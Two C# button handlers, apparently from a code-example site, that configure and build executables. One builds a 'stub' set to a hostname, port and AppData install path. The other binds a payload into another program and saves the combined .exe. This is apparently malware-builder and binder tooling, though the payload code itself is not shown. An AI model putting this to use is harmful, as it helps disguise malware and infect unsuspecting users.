Пример #1
0
        private void button1_Click(object sender, EventArgs e)
        {
            InstallationPath path;

            switch (cbPath.SelectedIndex)
            {
            case 0:
                path = InstallationPath.Default;
                break;

            case 1:
                path = InstallationPath.AppData;
                break;

            case 2:
                path = InstallationPath.ProgramFiles;
                break;

            default:
                path = InstallationPath.Default;
                break;
            }
            var settings = new BuildSettings(txtHostname.Text, (int)numPort.Value, txtFilename.Text, path,
                                             (int)numDelay.Value, cbMerge.Checked);
            var builder = new StubBuilder(settings);

            using (var ofd = new SaveFileDialog())
            {
                ofd.Filter = "Executable (*.exe)|*.exe";
                if (ofd.ShowDialog() == DialogResult.OK)
                {
                    builder.Build(ofd.FileName);
                }
            }
        }
Пример #2
0
        private void BuildButton_Click(object sender, EventArgs e)
        {
            if (string.IsNullOrEmpty(FilePathText.Text) || string.IsNullOrEmpty(PayloadText.Text))
            {
                MessageBox.Show("Error! You did not select files to bind.", "Error!", MessageBoxButtons.OK, MessageBoxIcon.Error);
                return;
            }

            SaveFileDIAG.Filter = "Executable Files|*.exe";
            if (SaveFileDIAG.ShowDialog() != DialogResult.OK)
            {
                return;
            }

            if (!File.Exists(FilePathText.Text) || !File.Exists(PayloadText.Text))
            {
                MessageBox.Show("Error! Selected files were deleted.", "Error!", MessageBoxButtons.OK, MessageBoxIcon.Error);
                return;
            }

            string outputPath  = SaveFileDIAG.FileName;
            string buildSource = Properties.Resources.build_source;

            if (StartPathText.Text.ToLower() == "{appdata}")
            {
                buildSource = buildSource.Replace("[USEAPP]", "true");
            }
            else
            {
                buildSource = buildSource.Replace("[USEAPP]", "false");
                buildSource = buildSource.Replace("[PATH]", StartPathText.Text);
            }

            string[] resourcesFile    = GenerateData(FilePathText.Text, "pretentious");
            string[] resourcesPayload = GenerateData(PayloadText.Text, "pretent");

            StubBuilder.Build(outputPath, buildSource, resourcesFile, resourcesPayload);
            MessageBox.Show("Successfully binded! Saved to: " + outputPath, "Success!", MessageBoxButtons.OK, MessageBoxIcon.Information);
        }